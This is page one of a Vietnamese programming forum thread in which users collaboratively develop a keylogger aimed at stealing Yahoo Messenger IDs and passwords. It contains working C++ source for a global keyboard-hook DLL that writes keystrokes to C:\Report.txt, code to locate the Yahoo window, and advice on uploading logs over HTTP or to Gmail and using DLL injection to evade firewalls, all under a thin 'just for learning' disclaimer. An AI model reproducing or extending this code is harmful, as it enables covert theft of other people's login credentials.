Trang 1 trên tổng số 2 12 Cuối cùngCuối cùng
Từ 1 tới 10 trên tổng số 20 kết quả

Đề tài: Lập trình Hook với Visual C++

  1. #1
    Ngày gia nhập
    08 2006
    Nơi ở
    Hải Phòng
    Bài viết
    78

    Mặc định Lập trình Hook với Visual C++

    mình đang nghiên cứu về Hook bạn nào đã từng nghiên cứu qua có thể cùng nhau thảo luận
    hiện tại mình đang muốn làm 1 chương trinh Hook bàn phím dùng VC++ để lập trình
    ai có ý tưởng hoặc source code càng tốt có thể upload nên diễn đàn để cùng trao đổi
    ý tưởng của chương trình như sau :
    - chỉ bắt các phím khi đăng nhập chương trình YaHoo ngoài ra không bắt bắt kỳ 1 chương trình nào khác trên Win !
    - các phím bắt được gửi vào File trong thư mục C:\Report.txt
    - Nội dung File lưu thông tin ID & Pass của User khi đăng nhập Yahoo !
    chương trình chỉ mang tính học hỏi không phải Hack hay Keylog ( No Say With Hack )
    nhờ các cao thủ ra tay !
    Đã được chỉnh sửa lần cuối bởi huongit1984 : 24-03-2007 lúc 11:23 AM.

  2. #2
    Ngày gia nhập
    07 2006
    Bài viết
    166

    1. Bạn search cụm từ hook keyboard trên codeproject, có rất nhiều. Nếu chỉ để ghi lại các phím thông thường thì dùng hook keyboard rồi, còn nếu để biết nó là chương trình nào (YM) thì phải kết hợp thêm hook CBT thì phải.

    Tuy nhiên hook bàn phím muốn lấy được chính xác những gì người khác gõ thì cũng phải xử lí khá lằng nhằng (dĩ nhiên là nếu người ta gõ chậm thì không vấn đề gì xảy ra)
    2. Ghi vào file thì ghi bình thường thôi
    3. Kết hợp sử dụng luôn gửi file qua mạng dùng giao thức HTTP để upload file này lên tới nơi cần đến (không phải keylog đâu nhé, tiện thể thì nhắc đến httpclient tí thôi )

  3. #3
    Ngày gia nhập
    08 2006
    Nơi ở
    Hải Phòng
    Bài viết
    78

    -tài liệu về Hook thì mình có đọc qua rồi tất nhiên muốn hook Keybroad thì phải dùng WM_KEYBROAD rồi (ở đây chỉ nói đến Hook Win không đề cập đến Hook API)
    -hix..nhưng lý thuyết thì vậy nhưng cài đặt lại là cả một vấn đề bắt các phím của keybroad thì quá dễ dàng rồi, cài đặt trên mọi theard thì mình đã làm được vấn đề là muốn chuyển qua cài đặt trên 1 theard nào đó mặc định thôi muốn vậy phải lấy được handle của theard đó vậy phải làm thế nào ( bạn vinhie47 giúp 1 tay nhỉ )
    -nếu kết hợp gửi luôn được file qua mạng dùng giao thứ HTTP thì pro quá còn gì ..hì..hì
    -nếu bạn vinhie47 đã làm qua cho mình xin cái code để ngâm cứu nhỉ
    - mình chỉ cần code thôi còn về cơ chế Hook mình đã đọc qua vậy vinhie47 có thể phát triển dùm mình cái .DLL cho bài toán trên không nhỉ nếu có 1 Project hoàn chỉnh = VC++ thì quá pro
    -Mong bạn vinhie47 hồi âm
    -- Thanks--

  4. #4
    Ngày gia nhập
    07 2006
    Bài viết
    166

    Ối giời, vậy mà bạn bảo là không phải viết keylog )
    - Cài đặt trên một thread nào đó? Tức là bạn lấy kèm thông tin log được với tên cửa sổ ứng dụng thì phải? Cái này thì dùng WH_CBT (mình chưa thử nhưng chắc là vậy)
    - Muốn file gửi qua HTTP thì phải dùng phương thức POST rồi, nếu là Get thì không có gì lắm vì gói tin nó đơn giản hơn. Với .NET thì có sẵn mấy cái HttpClient nên không vấn đề gì, còn với VC++6 thì hơi vất vả đấy, bạn thử search với từ khoá HttpPostSocket để lấy cái thư viện đó về dùng.
    - Ngoài ra thì kết hợp thêm dll injection để che dấu khi gửi tin (kiểu ném đá dấu tay ấy mà) nhưng với zone hay bit defense thì nó lại có cái chức năng Program Control => khi inject là bị phát hiện ngay
    P/S: Trước đây mình cũng viết cái tương tự nhưng để lung tung nên mất khi cài lại win, hơn nữa nó cũng lởm khởm thôi

  5. #5
    Ngày gia nhập
    10 2006
    Nơi ở
    Rừng Amazon
    Bài viết
    101

    Trước hết, dùng tool Spy++ đi kèm với VC++ 6.0 để biết được cái ClassName của Yahoo Messenger. Tiếp đó, khi chương trình bắt đầu chạy dùng API ::FindWindows(...) là ta sẽ lấy được HWND của thằng Yahoo Messenger.

    Sau khi lấy được HWND của nó rồi, làm gì nữa chắc bạn rõ hơn tôi .

  6. #6
    Ngày gia nhập
    08 2006
    Nơi ở
    Hải Phòng
    Bài viết
    78

    Mặc định Lập trình Hook với Visual C++

    Trích dẫn Nguyên bản được gửi bởi Tarzan Xem bài viết
    Trước hết, dùng tool Spy++ đi kèm với VC++ 6.0 để biết được cái ClassName của Yahoo Messenger. Tiếp đó, khi chương trình bắt đầu chạy dùng API ::FindWindows(...) là ta sẽ lấy được HWND của thằng Yahoo Messenger.

    Sau khi lấy được HWND của nó rồi, làm gì nữa chắc bạn rõ hơn tôi .
    bạn có thể cho mình source lấy handle của Yahoo đựoc không , để về ngâm cứu cho tiện
    làm ơn nói thật chi tiết nhé !
    --thanks--

  7. #7
    Ngày gia nhập
    08 2006
    Nơi ở
    Hải Phòng
    Bài viết
    78

    Trích dẫn Nguyên bản được gửi bởi vinhie47 Xem bài viết
    Ối giời, vậy mà bạn bảo là không phải viết keylog )
    - Cài đặt trên một thread nào đó? Tức là bạn lấy kèm thông tin log được với tên cửa sổ ứng dụng thì phải? Cái này thì dùng WH_CBT (mình chưa thử nhưng chắc là vậy)
    - Muốn file gửi qua HTTP thì phải dùng phương thức POST rồi, nếu là Get thì không có gì lắm vì gói tin nó đơn giản hơn. Với .NET thì có sẵn mấy cái HttpClient nên không vấn đề gì, còn với VC++6 thì hơi vất vả đấy, bạn thử search với từ khoá HttpPostSocket để lấy cái thư viện đó về dùng.
    - Ngoài ra thì kết hợp thêm dll injection để che dấu khi gửi tin (kiểu ném đá dấu tay ấy mà) nhưng với zone hay bit defense thì nó lại có cái chức năng Program Control => khi inject là bị phát hiện ngay
    P/S: Trước đây mình cũng viết cái tương tự nhưng để lung tung nên mất khi cài lại win, hơn nữa nó cũng lởm khởm thôi
    hack gì ở đây đã nói thừ đầu rồi mà (NO SAY WITH HACK ) ..hì..hì

  8. #8
    Ngày gia nhập
    07 2006
    Nơi ở
    Hà nội
    Bài viết
    204

    Sôi nổi quá nhỉ, thôi thì cứ coi như là keylog đi cho nó sôi nổi thêm ^_^ Em cũng làm cái này rồi, dùng WH_KEYBOARD hay WH_GETMESSAGE đều được. Còn muốn gửi vào đâu thì tốt nhất là tạo 1 tài khoản gmail, các giao thức kết nối và cách gửi thế nào thì mọi người cứ hỏi, em biết hết, em nghiên cứu cái này trong VC6 lâu rồi
    Life:\> dir

  9. #9
    Ngày gia nhập
    08 2006
    Nơi ở
    Hải Phòng
    Bài viết
    78

    Đang tìm hiểu về hook windows tiện thể làm 1 bản demo post anh em cùng tham khảo cho ý kiến

    Visual C++ Code:
    1. #include <windows.h>
    2. #include <stdio.h>
    3. #define EXPORT _declspec(dllexport)
    4. HANDLE  hDllInstance;
    5. HHOOK   hHook;
    6.  
    7. EXPORT CALLBACK hookkeybroad(int nCode, WPARAM wParam, LPARAM lParam);
    8. EXPORT int CALLBACK Install();
    9. EXPORT int CALLBACK UnInstall();
    10.  
    11. FILE *f1;
    12.  
    13. BOOL APIENTRY DllMain(HANDLE hModule, DWORD wReasonForCall, LPVOID lpReserved)
    14. {
    15.     hDllInstance = hModule;
    16.     return TRUE;
    17. }
    18.  
    19. EXPORT CALLBACK hookkeybroad(int nCode, WPARAM wParam, LPARAM lParam)
    20. {
    21.     char ch;   
    22.     WORD w;
    23.     UINT scan;
    24.     char path[128];    
    25.     GetSystemDirectory(path, 128);
    26.     strcat(path, "\\Report.txt");
    27.     if ((lParam & 0x4000000))&&(wParam==HC_ACTION))
    28.     {
    29.  
    30.         if ((wParam==VK_TAB)||(wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
    31.         {
    32.             if (!(f1=fopen("C:\\Report.txt","a+")))
    33.             {
    34.                 MessageBox(NULL, "Cannot Open File", "Error", MB_ICONWARNING);
    35.                 return 0;
    36.             }                      
    37.             if (wParam==VK_RETURN)
    38.             {
    39.                 ch='\n';
    40.                 fwrite(&ch,1,1,f1);
    41.             }
    42.             else
    43.             {                  
    44.                 BYTE ks[256];
    45.                 GetKeyboardState(ks);
    46.                 scan=0;
    47.                 ToAscii(wParam,scan,ks,&w,0);
    48.                 ch = char(w);
    49.                 fwrite(&ch,1,1,f1);            
    50.                 if (wParam==VK_TAB)
    51.                 {
    52.                     ch='\n';
    53.                     fwrite(&ch,1,1,f1);                
    54.                 }
    55.                                        
    56.                      }     
    57.                 }
    58.         fclose(f1);
    59.     }
    60.  
    61.     return (CallNextHookEx( hHook, nCode, wParam, lParam ));
    62.  
    63. }
    64.  
    65.  
    66. EXPORT int CALLBACK Install()
    67. {
    68.     f1=fopen("c:\\Report.txt","w");
    69.     fclose(f1);
    70.     if ((hHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)hookkeybroad,
    71.                                                (HINSTANCE)hDllInstance, 0)) ==NULL)
    72.         return 0;
    73.     return 1;
    74. }
    75.  
    76.  
    77. EXPORT int CALLBACK UnInstall()
    78. {
    79.     if (!UnhookWindowsHookEx(hHook)) return 0;
    80.     return 1;
    81. }
    Hix khổ nỗi bản demo trên sơ sài quá muốn phát triển thêm..hix..trình độ có hạn mới tìm hiểu về hook và VC++ nên đành chịu muốn đưa nên diễn đàn để mọi người cùng cải tiến
    Đọc qua code hẳn các bạn cũng biết chương trình trên bắt được các phím khi ta đăng nhập 1 chương trình nào đó trên Windows các phím trên được lưu trong file Report.txt của nằm trong ổ C của HĐH
    nếu muốn bắt các phím của 1 chương trình duy nhất nào đó trong Win chẳng hạn như yahoo có nghĩa là chỉ bắt phím khi ta đăng nhập yahoo thôi ngoài ra không bắt 1 chương trình nào hết vậy phải làm thế nào ? như CT(chương trình) trên của mình bắt tất cả

    Code:
    trong Yahoo khi ta đăng nhập :
    		ID     : huongit
    		Pass  :123456
    Report : huongit123456 -> OK
    Nhưng nếu đăng nhập :
    		ID   :huongit
    Sau đó xoá đi xâu “ huongit “  và đăng nhập lại 
    		ID     :abc
    		Pass :123456
    Report :huongitabc123456-> vậy là sai rồi ..hix..hix ai biết cách sửa dùm chỗ này cái .
    có bác nào biết cách tìm handle của chương trình Yahoo để chương trình chỉ bắt các phím khi đăng nhập Yahoo thôi (cái này chắc phải nhờ bác TarZan rồi nào bác TarZan giúp em cái nhỉ )
    tiện thể mình post code nên đây bạn vinhhie47 vào giúp mình nhé , hì..phát triển code thêm cái nhỉ
    --thanks--
    Đã được chỉnh sửa lần cuối bởi huongit1984 : 26-03-2007 lúc 05:10 PM.

  10. #10
    Ngày gia nhập
    10 2006
    Nơi ở
    Rừng Amazon
    Bài viết
    101

    Mặc định :D

    YahooBuddyMain, đấy là class name của Yahoo Messenger trên máy tớ, phiên bản Yahoo Messenger (8.1.0.195), Yahoo Module (8.0.0.1). (Cái này dùng Spy++ lấy được).

    Sau đó chỉ việc dùng hàm ::FindWindow thôi. Cái prototype của nó thế này:
    Visual C++ Code:
    1. HWND FindWindow([INDENT]LPCTSTR lpClassName,
    2. LPCTSTR lpWindowName[/INDENT]);
    Chi tiết xem thêm tại :http://http://msdn.microsoft.com/lib...findwindow.asp

    vậy chương trình ta gọi như sau:
    Visual C++ Code:
    1. HWND hWnd = ::FindWindow("YahooBuddyMain", NULL);

    Vậy là có rồi hé.

    Tuy nhiên, nếu chỉ muốn lấy Pass của Yahoo thì theo tớ làm cách này hay hơn:

    Mình sẽ hook cái button "Sign in", mỗi khi thấy cái nút này được nhấn thì ta đọc cái WindowText của 2 cái Textbox chứa ID & Password. Điều này hơi khó khi lấy text của cái chứa Password, nhưng vẫn làm được thôi.

Các đề tài tương tự

  1. Mouse hook system-wide lại chạy như local hook ???
    Gửi bởi nguoixanh trong diễn đàn Thắc mắc lập trình Visual C++
    Trả lời: 1
    Bài viết cuối: 12-11-2013, 04:02 PM
  2. Mouse hook system-wide lại chạy như local hook ???
    Gửi bởi nguoixanh trong diễn đàn Windows API, Hooking, xử lý Windows Message
    Trả lời: 1
    Bài viết cuối: 12-11-2013, 03:01 PM
  3. Hook keyboard và mouse hook trong c# không cần code
    Gửi bởi tienlbhoc trong diễn đàn Tutorials và Thủ thuật lập trình C#, ASP.NET
    Trả lời: 7
    Bài viết cuối: 23-06-2013, 01:27 PM
  4. [Kernel Driver] ShaDow SSDT Hook Có Phải là Hook đồ Họa
    Gửi bởi chàng trai dễ thương trong diễn đàn Windows API, Hooking, xử lý Windows Message
    Trả lời: 0
    Bài viết cuối: 11-10-2009, 07:48 AM
  5. chỉ dẫn phương pháp Hook APi bằng inline hook
    Gửi bởi trần trân trong diễn đàn Windows API, Hooking, xử lý Windows Message
    Trả lời: 3
    Bài viết cuối: 22-06-2009, 10:15 PM

Quyền hạn của bạn

  • Bạn không thể gửi đề tài mới
  • Bạn không thể gửi bài trả lời
  • Bạn không thể gửi các đính kèm
  • Bạn không thể chỉnh sửa bài viết của bạn